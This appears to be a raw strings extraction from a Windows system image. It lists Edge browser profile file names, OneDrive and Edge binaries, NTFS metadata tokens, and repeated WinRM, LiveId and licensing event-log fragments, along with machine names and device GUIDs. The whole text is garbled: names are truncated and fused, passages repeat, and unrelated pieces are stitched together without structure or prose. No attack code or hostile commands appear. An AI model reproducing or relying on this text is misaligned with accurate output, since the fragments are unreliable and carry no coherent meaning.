BrowsingTopicsSiteData BrowsingTopicsSiteData-journal BrowsingTopicsState BROWSI~1 BROWSI~2 BROWSI~3tab BudgetDatabase BudgetDatabase BROWSI~3tab BudgetDatabase atabase BudgetDatabase BudgetDatabase ENT~1 Code Cacheu CODECA~1_su commerce_subscription_db COMMER~1 DawnGraphiteCache DAWNGR~1PUC DawnWebGPUCache DAWNWE~1s_d DIPSoun DIPS-wals_d discounts_db discount_infos_db DISCOU~1 DISCOU~2n R EdgeJourneys tory SAFEBR~1rti Secure Preferences~ SECURE~1.TM ServerCertificate ServerCertificate-journal SERVER~1 SERVER~2 Service Workere SERVIC~1Sto Session Storage Sessionsict SESSIO~1ict Shared Dictionaryic SharedStorage SharedStorage-wal shared_proto_db SHARED~1rac red_proto_db SHARED~1rac SHARED~1rac SHARED~4rac Site Characteristics Database SITECH~1ns Sync Datas SYNCDA~1ns Top Sitess TOPSIT~1ns Vpn Tokens Vpn Tokens-journal VPNTOK~1 VPNTOK~2 Web Data Web Data-journal WEBDAT~1 WEBDAT~2 WebStorage WEBSTO~1 WEBSTO~1 HISTOR~1 IndexedDBra INDEXE~1ora Local Storage LOCALS~1 LOCK LOG.old Login Data Login Data For Account Login Data For Account-journal Login Data-journal LOGIND~1 LOGIND~2 LOGIND~3 LOGIND~4ntO Network Network Action PredictorR Network Action Predictor-journal NETWOR~1rac NETWOR~2rac optimization_guide_hint_cache_store OPTIMI~1rac parcel_tracking_dbi PARCEL~1ntO PersistentOriginTrials PERSIS~1 Preferences PREFER~1.TM README FER~1.TM README README SHARED~3rac SHARED~4rac Site Characteristics Database SITECH~1ns Sync Datas SYNCDA~1ns Top Sitess Top Sites-journal TOPSIT~1ns TOPSIT~2ns Vpn Tokens Vpn Tokens-journal VPNTOK~1 VPNTOK~2 Web Data Web Data-journal WEBDAT~1 WEBDAT~2 WebStorage WEBSTO~1 EX1516~1n R EX3B06~1n R Extension Rules Extension Scripts Extension State ExtensionActivityComp ExtensionActivityEdge ExtensionActivityEdge-journal EXTENS~1 EXTENS~2 EXTENS~3 EXTENS~4 Favicons Favicons-journal FAVICO~1 favorites_diagnostic.log FAVORI~1.LOG Feature Engagement Tracker FEATUR~1 GPUCache heavy_ad_intervention_opt_out.db heavy_ad_intervention_opt_out.db-journal HEAVY_~1.DB HEAVY_~1.DB- History History HEAVY_~1.DB- History Cachery ClientCertificates CLIENT~1 Code Cacheu CODECA~1_su commerce_subscription_db COMMER~1 DashTrackerDatabase DashTrackerDatabase-journal DASHTR~1hit DASHTR~2hit DawnGraphiteCache DAWNGR~1PUC DawnWebGPUCache DAWNWE~1s_d DIPSoun DIPS-wals_d discounts_db discount_infos_db DISCOU~1 DISCOU~2n R EdgeJourneys EdgeJourneys DISCOU~2n R EdgeJourneys BUDGET~1 EDGEJO~1n R History-journal Safe Browsing Network SHARED~2rac WofCompressedData $DSC TEXTINCLUDE TYPELIB VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Network List Manager FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName netprofm.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename netprofm.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation LOGOLD~1.TMP LOG.old~RF20517.TMP 260170~1.000 26.017.0126.0002 $I300 $I30 $I30 api-ms-win-core-namedpipe-l1-1-0.dll $I30 $I30 adal.dll WofCompressedData ALERTI~1.PNG alertIcon.png CAMERA~4.PNG Camera_Upload_Upsell_Light_728x360.png CHECKB~1.DLL CheckboxWindows.dll WofCompressedData COLLEC~1.BAT CollectSyncLogs.bat WofCompressedData COMMIC~1.JSO com.microsoft.onedrive.nucleus.auth.provider.json ETWlog.dll WofCompressedData exif.dll WofCompressedData FILECO~1.EXE FileCoAuth.exe WofCompressedData FILECO~1.DLL FileCoAuthLib64.dll WofCompressedData FILESY~1.DLL FileSync.LocalizedResources.dll WofCompressedData FILESY~2.DLL FileSync.Resources.dll WofCompressedData FILESY~3.DLL FileSyncClient.dll WofCompressedData FILESY~1.EXE FileSyncConfig.exe WofCompressedData FILESY~4.DLL FileSyncCxP.dll WofCompressedData FI1B5E~1.DLL FileSyncCxPImpl.dll WofCompressedData FI00CF~1.DLL FileSyncEvents.dll WofCompressedData FI0695~1.DLL FileSyncFAL.dll WofCompressedData FI7839~1.DLL FileSyncFALWB.dll WofCompressedData FIDEBA~1.DLL FileSyncFS.dll WofCompressedData FI483D~1.DLL FileSyncFSCache.dll WofCompressedData FIA0A4~1.DLL FileSyncFSDbfs.dll WofCompressedData FI959C~1.DLL FileSyncFSDbfsWB.dll WofCompressedData FI650B~1.DLL FileSyncFSNtfs.dll WofCompressedData FIC097~1.DLL FileSyncFSNtfsWB.dll WofCompressedData FILESY~2.EXE FileSyncHelper.exe WofCompressedData FI7C24~1.DLL FileSyncHost.dll WofCompressedData FIAFC6~1.DLL FileSyncRNWin32Lib.dll WofCompressedData FIFC38~1.DLL FileSyncSessions.dll WofCompressedData FIE7B6~1.DLL FileSyncShell64.dll WofCompressedData FI97D5~1.DLL FileSyncSqlite3.dll WofCompressedData FIB408~1.DLL FileSyncTelemetryExtensions.dll WofCompressedData FI224F~1.DLL FileSyncViews.dll WofCompressedData GETHEL~1.HTM GetHelpWindow.html WofCompressedData hermes.dll WofCompressedData HEROIM~1.PNG HeroImageForQuotaToastsDark.png HEROIM~2.PNG HeroImageForQuotaToastsLight.png HEROIM~3.PNG HeroImage_FirstUploadLowCostSKUToast.png KFMLOC~1.PNG KFMLockedFileToast.png KFMSCA~1.PNG KFMScanExclusionToast.png libbz2-1.dll WofCompressedData LIBCRY~1.DLL libcrypto-3-x64.dll WofCompressedData LIBPCR~1.DLL libpcre2-8-0.dll WofCompressedData LIBSSL~1.DLL libssl-3-x64.dll WofCompressedData LIBWIN~1.DLL libwinpthread-1.dll WofCompressedData LIBXML~1.DLL libxml2-2.dll WofCompressedData LOADIN~1.HTM LoadingPage.html WofCompressedData LOGGIN~1.DLL LoggingPlatform.dll WofCompressedData LOGUPL~1.DLL LogUploader.dll WofCompressedData LOTTIE~1.JS0 Lottie.min.js WofCompressedData MICROS~1.DLL Microsoft.ReactNative.dll WofCompressedData MICROS~2.DLL Microsoft.SharePoint.Calc.dll WofCompressedData MICROS~1.EXE Microsoft.SharePoint.NativeMessagingClient.exe WofCompressedData MICROS~3.DLL Microsoft.Toolkit.Win32.UI.XamlHost.dll WofCompressedData MICROS~4.DLL Microsoft.UI.Xaml.dll WofCompressedData minizip.dll WofCompressedData MIP_CL~1.DLL mip_ClientTelemetry.dll WofCompressedData mip_core.dll WofCompressedData msvcp140.dll WofCompressedData MSVCP1~1.DLL msvcp140_1.dll WofCompressedData MSVCP1~2.DLL msvcp140_1_app.dll WofCompressedData MSVCP1~3.DLL msvcp140_2_app.dll WofCompressedData MSVCP1~4.DLL msvcp140_app.dll WofCompressedData MS9025~1.DLL msvcp140_atomic_wait.dll WofCompressedData nh.dll WofCompressedData ONEDRI~1.DLL OneDrive.App.dll WofCompressedData wct4D21.tmp Qt5Core.dll WofCompressedData Qt5DBus.dll WofCompressedData Qt5Gui.dll WofCompressedData Qt5Qml.dll WofCompressedData QT5QML~1.DLL Qt5QmlModels.dll WofCompressedData QT5QML~2.DLL Qt5QmlWorkerScript.dll WofCompressedData Qt5Quick.dll WofCompressedData Qt5Svg.dll WofCompressedData QT5WID~1.DLL Qt5Widgets.dll WofCompressedData QT5WIN~1.DLL Qt5WinExtras.dll WofCompressedData QUOTAC~1.PNG QuotaCritical_default.png REACTN~1.DLL ReactNativePicker.dll WofCompressedData REACTN~2.DLL ReactNativeVideoCPP.dll WofCompressedData RESOUR~1.PRI resources.pri WofCompressedData RNSVG.dll WofCompressedData SCREEN~1.GIF ScreenshotOptIn.gif SWSCAL~1.DLL swscale-9.dll WofCompressedData SYNCEN~1.DLL SyncEngine.dll WofCompressedData TELEME~1.DLL Telemetry.dll WofCompressedData TRYFOR~2.PNG tryforfree_light.png ucrtbase.dll WofCompressedData UPDATE~1.DLL UpdateRingSettings.dll WofCompressedData VCAMP1~1.DLL vcamp140_app.dll WofCompressedData VCCORL~1.DLL vccorlib140_app.dll WofCompressedData VCOMP1~1.DLL vcomp140_app.dll WofCompressedData VCRUNT~1.DLL vcruntime140.dll WofCompressedData VCRUNT~2.DLL vcruntime140_1.dll WofCompressedData VCRUNT~3.DLL vcruntime140_1_app.dll WofCompressedData VCRUNT~4.DLL vcruntime140_app.dll WofCompressedData Warning.png WEBVIE~1.DLL WebView2Loader.dll WofCompressedData WNSCLI~1.DLL WnsClientApi.dll WofCompressedData zlib1.dll WofCompressedData $I300 $I30 $I30 OneDrive.adml OneDrive.admx ONEDRI~1.ADM ONEDRI~2.ADM ONEDRI~1.ADM OneDrive.adml WofCompressedData 3f8b4bc191e895a9cf16b386e26b37eabaed73f6.tbres 3F8B4B~1.TBR1e5 5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres 5A2A70~1.TBR668 8ae9f0c30ea1668425d0f7d6255d597ead710776.tbres 8AE9F0~1.TBR 95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres 95D9A2~1.TBR504 e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres E8DDD4~1.TBR fbaf94e759052658216786bfbabcdced1b67a5c2.tbres FBAF94~1.TBR Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational EventData Data operationName resourceUri Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational authFailureMessage The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational operationName errorCode Enumeration 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration http://schemas.microsoft.com/wbem/wsman/1/config/listener Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational The client cannot connect to the destination specified in the request. Verify that the service on the destination is running and is accepting requests. Consult the logs and documentation for the WS-Management service running on the destination, most commonly IIS or WinRM. If the destination is the WinRM service, run the following command on the destination to analyze and configure the WinRM service: "winrm quickconfig". Microsoft-Windows-WinRM Microsoft-Windows-WinRM/Operational Enumeration Windows.AI.winmd Windows.ApplicationModel.winmd Windows.Data.winmd Windows.Devices.winmd Windows.Foundation.winmd Windows.Gaming.winmd Windows.Globalization.winmd Windows.Graphics.winmd Windows.Management.Setup.winmd Windows.Management.winmd Windows.Media.winmd Windows.Networking.winmd Windows.Perception.winmd Windows.Security.winmd Windows.Services.winmd Windows.Storage.winmd Windows.System.winmd Windows.UI.winmd Windows.UI.Xaml.winmd Windows.Web.winmd the-real-index~ THE-RE~1.TM 62e.TMP THE-RE~1.TM THE-RE~1.TMPMPM THE-RE~1.TM THE-RE~1.TMP 145.0.3800.70.manifest AdSelectionAttestationsPreloaded ADSELE~1 concrt140.dll cookie_exporter.exe &copilot_overlay_images_100_percent.pak &copilot_overlay_images_200_percent.pak #copilot_overlay_unscaled_images.pak d3dcompiler_47.dll delegatedWebFeatures.sccd dual_engine_adapter_x64.dll dxcompiler.dll dxil.dll EBWebView EBWEBV~1 Edge.dat EdgeWebView.dat edge_feedback EDGE_F~1 edge_game_assist EDGE_G~1 elevated_tracing_service.exe elevation_service.exe eventlog_provider.dll Extensions EXTENS~1 ffmpeg.dll icudtl.dat identity_helper.exe identity_proxy IDENTI~1 Installer INSTAL~1 EdgeWebView.dat edge_feedback EDGE_F~1 edge_game_assist EDGE_G~1 elevated_tracing_service.exe elevation_service.exe eventlog_provider.dll Extensions EXTENS~1 ffmpeg.dll icudtl.dat identity_helper.exe identity_proxy IDENTI~1 Installer INSTAL~1 learning_tools.dll libEGL.dll libGLESv2.dll Locales MEIPreload MEIPRE~1 microsoft_shell_integration.dll mip_core.dll mip_core_gn.dll mip_protection_sdk.dll mscopilot.exe msedge.dll msedge.dll.sig msedge.exe msedge.exe.sig msedgewebview2.exe msedgewebview2.exe.sig msedge_100_percent.pak libEGL.dll libGLESv2.dll Locales MEIPreload MEIPRE~1 microsoft_shell_integration.dll mip_core.dll mip_core_gn.dll mip_protection_sdk.dll mscopilot.exe msedge.dll msedge.dll.sig msedge.exe msedge.exe.sig msedgewebview2.exe msedgewebview2.exe.sig msedge_100_percent.pak msedge_200_percent.pak msedge_elf.dll msedge_proxy.exe msedge_pwa_launcher.exe msedge_wer.dll mspdf.dll msvcp140.dll msvcp140_codecvt_ids.dll notification_helper.exe oneauth.dll oneds.dll onnxruntime.dll onramp.dll PdfPreview PDFPRE~1 prefs_enclave_x64.dll pwahelper.exe resources.pak msedge_elf.dll msedge_proxy.exe msedge_pwa_launcher.exe msedge_wer.dll mspdf.dll msvcp140.dll msvcp140_codecvt_ids.dll notification_helper.exe oneauth.dll oneds.dll onnxruntime.dll onramp.dll PdfPreview PDFPRE~1 prefs_enclave_x64.dll pwahelper.exe ResiliencyLinks RESILI~1s.p resources.pak telclient.dll Trust Protection Lists TRUSTP~1 v8_context_snapshot.bin vccorlib140.dll vcruntime140.dll vcruntime140_1.dll VisualElements VISUAL~1 vk_swiftshader.dll vk_swiftshader_icd.json vulkan-1.dll wdag.dll webview2_integration.dll WidevineCdm WIDEVI~1 telclient.dll Trust Protection Lists TRUSTP~1 v8_context_snapshot.bin vccorlib140.dll vcruntime140.dll vcruntime140_1.dll VisualElements VISUAL~1 vk_swiftshader.dll vk_swiftshader_icd.json vulkan-1.dll wdag.dll webview2_integration.dll WidevineCdm WIDEVI~1 wns_push_client.dll Edge.dat learning_tools.dll msedge_200_percent.pak &show_third_party_software_licenses.bat 274ab.msisi 58a87.msisi 58a8b.msisi 58a8f.msisi 58a93.msisi 58a96.msisi SO0165~1sh{ SOB168~1sh{ SourceHash{0DF1D9F9-6038-4641-AB6D-13DD654758A7} SourceHash{381B1560-3850-4E80-BD01-781486364F7B} SourceHash{560D2DA4-096E-4868-B22A-DA6418FDE6FB} SourceHash{5904914B-9FC8-44C2-AE48-5C7F30A603EC} SourceHash{CA0D899F-C5C7-4C11-BEF9-83625FEF2C51} SourceHash{D7A66DA5-B103-45C1-A0A7-736C08E2F464} SOURCE~1 SOURCE~2 SOURCE~3 SOURCE~4 {381B1560-3850-4E80-BD01-781486364F7B} {381B1~1F-C {CA0D899F-C5C7-4C11-BEF9-83625FEF2C51} {CA0D8~1 EF2C51} {CA0D8~1 {CA0D8~1 {CA0D8~1 {CA0D8~1 WofCompressedData $DSC ca-ES $I300 Microsoft.ui.xaml.dll.mui Microsoft.UI.Xaml.Phone.dll.mui MICROS~1.MUI MICROS~2.MUI User.dat DEFAUL~1.JSO defaultFeed_installState.json INBOXI~1.JSO InboxInstallerTest_Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe.json MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent MSFT_SCMEventLogEvent D890AC6A929040B86C73ED707F71F3BF5A8D5C24B862ABCFD812E1937C8FB0BB WofCompressedData $DSC ( H ( H ( H (8`8 (0X0 (8`8 $I30 0872af26047692500f0c318077d1cfd61f3a327d[1].xml $I300 0872af26047692500f0c318077d1cfd61f3a327d[1].xml windows-app-web-link[1] windows-app-web-link[1].json WINDOW~1.JS WINDOW~1.JSO $I30 $I30 0872af26047692500f0c318077d1cfd61f3a327d[1].xml windows-app-web-link[1] windows-app-web-link[1].json WINDOW~1.JS WINDOW~1.JSO $I300 0872AF~1.XMLweb 0872AF~1.XML 0872af26047692500f0c318077d1cfd61f3a327d[1].xml ( H ^<0872af26047692500f0c318077d1cfd61f3a327d[1].xml ( H ( H ^<0872af26047692500f0c318077d1cfd61f3a327d[1].xml ( H (@h@ (8`8 (8`8 ( H ^<0872af26047692500f0c318077d1cfd61f3a327d[1].xml ( H ( H $I30 update.xml update.xml ( H Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin TriggerStarted Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe b1bc283d-b03f-e536-77df-6483b7598b21 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe NULL b1bc283d-b03f-e536-77df-6483b7598b21 b1bc283d-b03f-e536-77df-6483b7598b21 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin microsoft.widgetsplatformruntime_8wekyb3d8bbwe cf7d6116-bf7b-c1d2-37c2-4959dcc0add1 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin microsoft.widgetsplatformruntime_8wekyb3d8bbwe NULL cf7d6116-bf7b-c1d2-37c2-4959dcc0add1 cf7d6116-bf7b-c1d2-37c2-4959dcc0add1 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft.StartExperiencesApp_8wekyb3d8bbwe 02e2cede-0ae2-6eb0-6159-805c1142a531 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft.StartExperiencesApp_8wekyb3d8bbwe NULL 02e2cede-0ae2-6eb0-6159-805c1142a531 02e2cede-0ae2-6eb0-6159-805c1142a531 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin microsoft.startexperiencesapp_8wekyb3d8bbwe edfb598b-1b87-4594-91db-40eb2bf8d6ba Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin microsoft.startexperiencesapp_8wekyb3d8bbwe NULL edfb598b-1b87-4594-91db-40eb2bf8d6ba edfb598b-1b87-4594-91db-40eb2bf8d6ba Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin TriggerStarted Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin PackageName UserId Type LicenseId AssociateId 61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8 61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin LicenseId AssociateId DeviceId 3252b20c-d425-4711-8cc5-b2f53c830b76 3252b20c-d425-4711-8cc5-b2f53c830b76 B4E4454B17001800 Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin Microsoft-Client-Licensing-Platform Microsoft-Client-Licensing-Platform/Admin 10.0.26100.7705 SECURI~3.DLL SecurityHealthSSO.dll SECURI~4.DLL SecurityHealthCore.dll NOBB1C~1 NonCritical_Update;UsoClient_71d3b8d23d8784ce8e4332914eb44c70f558310_00000000_460e0fc2-db29-4e03-a074-d01171ea5b42 $I300 $I30 $I30 E7ACD3~1 Report.wer SECURI~1.EXE SecurityHealthHost.exe MICROS~1.APP Microsoft.SecHealthUI_8wekyb3d8bbwe.appx MICROS~2.APP Microsoft.VCLibs.appx MICROS~3.APP Microsoft.UI.Xaml.appx en-US $I300 SecurityHealthAgent.dll.mui SecurityHealthSSO.dll.mui SECURI~1.MUI SECURI~2.MUI SECURI~1.MUI SecurityHealthAgent.dll.mui SECURI~2.MUI SecurityHealthSSO.dll.mui es-ES $I300 SecurityHealthAgent.dll.mui SecurityHealthSSO.dll.mui SECURI~1.MUI SECURI~2.MUI Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational EventData Data Value Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational ResourceURI Created Expires TokenType AuthRequired RequestStatus HasFlowUrl HasAuthUrl HasEndAuthUrl Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Operation Details Status Service started The service will auto stop if no requests received for some period of time. Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational RequestType ErrorCode MachineEnvironment Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational FunctionName ErrorCode Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational EventData Data Value Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational FunctionName ErrorCode Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational WofCompressedData $DSC WO349D~1.1_Nroc WO653B~1.1_Nroc WO9107~1.770roc WOB2B4~1.730roc WODE26~1.770roc wow64_eventviewersettings_31bf3856ad364e35_10.0.26100.1882_none_9aeaf6a9e834115e wow64_microsoft-onecore-p..evicemanagement-rtl_31bf3856ad364e35_10.0.26100.1_none_300d627219b44a0d wow64_microsoft-windows-a..ionmodel-lockscreen_31bf3856ad364e35_10.0.26100.7705_none_5f2c2a894baf8ef1 wow64_microsoft-windows-appwiz_31bf3856ad364e35_10.0.26100.7623_none_b1c8e9d80b5c4c40 wow64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.26100.1_sv-se_a34dac3c702778d7 wow64_microsoft-windows-c..esources-mrmindexer_31bf3856ad364e35_10.0.26100.7705_none_0eac3f9fb3d5dc4d one_2b754a340b57c69a wow64_microsoft-windows-d..-warp-jitexecutable_31bf3856ad364e35_10.0.26100.7309_none_73daa6ae068aa22a wow64_microsoft-windows-d..frastructure-client_31bf3856ad364e35_10.0.26100.1_none_5352debb3fd6ed88 wow64_microsoft-windows-d..onverters.resources_31bf3856ad364e35_10.0.26100.1_en-us_ef9177ca91cb8018 wow64_microsoft-windows-deltacompressionengine_31bf3856ad364e35_10.0.26100.1882_none_e61f86bb6a40071e wow64_microsoft-windows-directory-services-sam_31bf3856ad364e35_10.0.26100.1882_none_57e1780085757bc0 